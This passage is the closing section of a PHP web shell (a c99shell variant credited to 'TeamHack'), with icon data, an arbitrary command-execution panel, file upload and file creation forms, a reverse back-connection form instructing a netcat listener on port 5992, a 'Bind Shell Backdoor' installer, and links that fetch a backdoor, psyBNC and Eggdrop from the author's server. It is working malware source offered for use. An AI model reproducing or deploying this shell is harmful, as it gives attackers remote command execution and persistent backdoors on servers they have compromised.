4396 "ext_tar" => "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC" . "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF" . "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD" . "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p" . "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" . "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" . "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" . "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg" . "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd" . "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB" . "u4tLAgEAOw==",
4397 "ext_txt" => "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ" . "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7" . "UpPWG3Ig6Hq/XmRjuZwkAAA7",
4398 "ext_wri" => "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA" . "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao" . "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
4399 "ext_xml" => "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA" . "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" . "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx" . "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ" . "IQA7"
4400 );
4401 //Untuk optimalisasi ukuran dan kecepatan.
4402 $imgequals = array(
4403 "ext_tar" => array(
4404 "ext_tar",
4405 "ext_r00",
4406 "ext_ace",
4407 "ext_arj",
4408 "ext_bz",
4409 "ext_bz2",
4410 "ext_tbz",
4411 "ext_tbz2",
4412 "ext_tgz",
4413 "ext_uu",
4414 "ext_xxe",
4415 "ext_zip",
4416 "ext_cab",
4417 "ext_gz",
4418 "ext_iso",
4419 "ext_lha",
4420 "ext_lzh",
4421 "ext_pbk",
4422 "ext_rar",
4423 "ext_uuf"
4424 ),
4425 "ext_php" => array(
4426 "ext_php",
4427 "ext_php3",
4428 "ext_php4",
4429 "ext_php5",
4430 "ext_phtml",
4431 "ext_shtml",
4432 "ext_htm"
4433 ),
4434 "ext_jpg" => array(
4435 "ext_jpg",
4436 "ext_gif",
4437 "ext_png",
4438 "ext_jpeg",
4439 "ext_jfif",
4440 "ext_jpe",
4441 "ext_bmp",
4442 "ext_ico",
4443 "ext_tif",
4444 "tiff"
4445 ),
4446 "ext_html" => array(
4447 "ext_html",
4448 "ext_htm"
4449 ),
4450 "ext_avi" => array(
4451 "ext_avi",
4452 "ext_mov",
4453 "ext_mvi",
4454 "ext_mpg",
4455 "ext_mpeg",
4456 "ext_wmv",
4457 "ext_rm"
4458 ),
4459 "ext_lnk" => array(
4460 "ext_lnk",
4461 "ext_url"
4462 ),
4463 "ext_ini" => array(
4464 "ext_ini",
4465 "ext_css",
4466 "ext_inf"
4467 ),
4468 "ext_doc" => array(
4469 "ext_doc",
4470 "ext_dot"
4471 ),
4472 "ext_js" => array(
4473 "ext_js",
4474 "ext_vbs"
4475 ),
4476 "ext_cmd" => array(
4477 "ext_cmd",
4478 "ext_bat",
4479 "ext_pif"
4480 ),
4481 "ext_wri" => array(
4482 "ext_wri",
4483 "ext_rtf"
4484 ),
4485 "ext_swf" => array(
4486 "ext_swf",
4487 "ext_fla"
4488 ),
4489 "ext_mp3" => array(
4490 "ext_mp3",
4491 "ext_au",
4492 "ext_midi",
4493 "ext_mid"
4494 ),
4495 "ext_htaccess" => array(
4496 "ext_htaccess",
4497 "ext_htpasswd",
4498 "ext_ht",
4499 "ext_hta",
4500 "ext_so"
4501 )
4502 );
4503 if (!$getall) {
4504 header("Content-type: image/gif");
4505 header("Cache-control: public");
4506 header("Expires: " . date("r", mktime(0, 0, 0, 1, 1, 2030)));
4507 header("Cache-control: max-age=" . (60 * 60 * 24 * 7));
4508 header("Last-Modified: " . date("r", filemtime(__FILE__)));
4509 foreach ($imgequals as $k => $v) {
4510 if (in_array($img, $v)) {
4511 $img = $k;
4512 break;
4513 }
4514 }
4515 if (empty($images[$img])) {
4516 $img = "small_unk";
4517 }
4518 if (in_array($img, $ext_tar)) {
4519 $img = "ext_tar";
4520 }
4521 echo base64_decode($images[$img]);
4522 } else {
4523 foreach ($imgequals as $a => $b) {
4524 foreach ($b as $d) {
4525 if ($a != $d) {
4526 if (!empty($images[$d])) {
4527 echo ("Warning! Remove \$images[" . $d . "]<br>");
4528 }
4529 }
4530 }
4531 }
4532 natsort($images);
4533 $k = array_keys($images);
4534 echo "<center>";
4535 foreach ($k as $u) {
4536 echo $u . ":<img src=\"" . $surl . "act=img&img=" . $u . "\" border=\"1\"><br>";
4537 }
4538 echo "</center>";
4539 }
4540 exit;
4541}
4542if ($act == "about") {
4543 echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>BajinguK</b><br>Beta-testing and some tips by <b>rEDhACK<b><br>Re-Coding, tricks, and css by <b>CaMaChO</b><br><br> Thanks all who report bugs<br>Please report bugs to <a href=\"mailto:oisu06@gmail.com\">TeamHack</a></b>";
4544}
4545if ($act == "backc") {
4546 $ip = $_SERVER["REMOTE_ADDR"];
4547 $msg = $_POST['backcconnmsg'];
4548 $emsg = $_POST['backcconnmsge'];
4549 echo ("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>");
4550 echo ("$msg");
4551 echo ("$emsg");
4552}
4553if ($act == "shbd") {
4554 $msg = $_POST['backcconnmsg'];
4555 $emsg = $_POST['backcconnmsge'];
4556 echo ("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>
4557Bind Port: <input type='text' name='backconnectport' value='5992'>
4558<input type='hidden' name='use' value='shbd'>
4559<input type='submit' value='Install Backdoor'></form>");
4560 echo ("$msg");
4561 echo ("$emsg");
4562 echo ("</center>");
4563}
4564echo "</td></tr></table>\n";
4565//COMMANDS PANEL
4566?>
4567<div class=barheader2><b>.: COMMANDS PANEL :.</b></div>
4568<table class=mainpanel>
4569<?php
4570if (!$safemode) {
4571?>
4572<tr><td align=right>Command:</td>
4573<td><form method="POST">
4574<input type=hidden name=act value="cmd">
4575<input type=hidden name="d" value="<?php
4576 echo $dispd;
4577?>">
4578<input type="text" name="cmd" size="50" value="<?php
4579 echo htmlspecialchars($cmd);
4580?>">
4581<input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute">
4582</form>
4583</td></tr>
4584<tr><td align=right>Quick Commands:</td>
4585<td><form method="POST">
4586<input type=hidden name=act value="cmd">
4587<input type=hidden name="d" value="<?php
4588 echo $dispd;
4589?>">
4590<input type=hidden name="cmd_txt" value="1">
4591<select name="cmd">
4592<?php
4593 foreach ($cmdaliases as $als) {
4594 echo "<option value=\"" . htmlspecialchars($als[1]) . "\">" . htmlspecialchars($als[0]) . "</option>";
4595 }
4596 foreach ($cmdaliases2 as $als) {
4597 echo "<option value=\"" . htmlspecialchars($als[1]) . "\">" . htmlspecialchars($als[0]) . "</option>";
4598 }
4599?>
4600</select> -
4601<input type=submit name=submit value="Execute">
4602</form>
4603</td></tr>
4604<?php
4605}
4606?>
4607<tr><td align=right>Kernel Info:</td>
4608<td><form method="post" action="http://google.com/search">
4609<input type="hidden" name="client" value="firefox-a">
4610<input type="hidden" name="rls" value="org.mozilla:en-US:official">
4611<input type="hidden" name="hl" value="en">
4612<input type="hidden" name="hs" value="b7p">
4613<input name="q" type="text" id="q" size="80" value="<?php
4614echo wordwrap(php_uname());
4615?>"> -
4616<input type=submit name="btnG" VALUE="Search">
4617</form>
4618</td></tr>
4619<tr><td align=right>Upload:</td>
4620<td><form method="POST" enctype="multipart/form-data">
4621<input type=hidden name=act value="upload">
4622<input type=hidden name="miniform" value="1">
4623<input type="file" name="uploadfile"> - <input type=submit name=submit value="Upload"> <?php
4624echo $wdt;
4625?>
4626</form>
4627</td></tr>
4628<?php
4629/* TeamHack TriCkz */
4630?>
4631<script language="javascript">
4632function set_arg(txt1,txt2) {
4633document.forms.fphpfsys.arg1.value = txt1;
4634document.forms.fphpfsys.arg2.value = txt2;
4635}
4636</script>
4637<tr><td align=right>PHP Filesystem:</td>
4638<td><form name="fphpfsys" method="POST"><input type=hidden name=act value="phpfsys"><input type=hidden name="d" value="<?php
4639echo $dispd;
4640?>">
4641<select name="phpfsysfunc">
4642<?php
4643foreach ($phpfsaliases as $als) {
4644 if ($als[1] == $phpfsysfunc) {
4645 echo "<option selected value=\"" . $als[1] . "\">" . $als[0] . "</option>";
4646 } else {
4647 echo "<option value=\"" . $als[1] . "\">" . $als[0] . "</option>";
4648 }
4649}
4650?>
4651</select>
4652File/Dir/URL: <input type="text" name="arg1" id="a1" size="40" value="<?php
4653echo htmlspecialchars($arg1);
4654?>">
4655To/Max: <input type="text" name="arg2" size="50" value="<?php
4656echo htmlspecialchars($arg2);
4657?>">
4658<input type=submit name=submit value="Execute"><hr noshade size=1>
4659<a href="#" onclick="set_arg('<?php
4660echo $sh_mainurl . "passs.txt";
4661?>','sporty.php')">[BackDor]</a>
4662<a href="#" onclick="set_arg('<?php
4663echo $sh_mainurl . "psy.tar.gz";
4664?>','psy.tar.gz')">[psyBNC]</a>
4665<a href="#" onclick="set_arg('<?php
4666echo $sh_mainurl . "httpd.tar.gz";
4667?>','httpd.tar.gz')">[Eggdrop]</a>
4668</form>
4669</td></tr>
4670<tr><td align=right>Search:</td>
4671<td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php
4672echo $dispd;
4673?>">
4674<input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp
4675<input type=submit name=submit value="Search">
4676</form>
4677</td></tr>
4678<tr><td align=right>Make File:</td>
4679<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php
4680echo $dispd;
4681?>"><input type=hidden name="ft" value="edit">
4682<input type="text" name="mkfile" size="70" value="<?php
4683echo $dispd;
4684?>"> - <input type=submit value="Create"> <?php
4685echo $wdt;
4686?>
4687</form></td></tr>
4688<tr><td align=right>View File:</td>
4689<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php
4690echo $dispd;
4691?>">
4692<input type="text" name="f" size="70" value="<?php
4693echo $dispd;
4694?>"> - <input type=submit value="View">
4695</form></td></tr>
4696</table>
4697<div class=barheader2 colspan=2><font color=yellow>.:[ Re-Coding by TeamHack CoMmUnItY | Generated: <?php
4698echo round(getmicrotime() - starttime, 4);
4699?> seconds ]:.</font></div>
4700</body></html>
4701<?php
4702chdir($lastdir);
4703c99shexit();
4704?>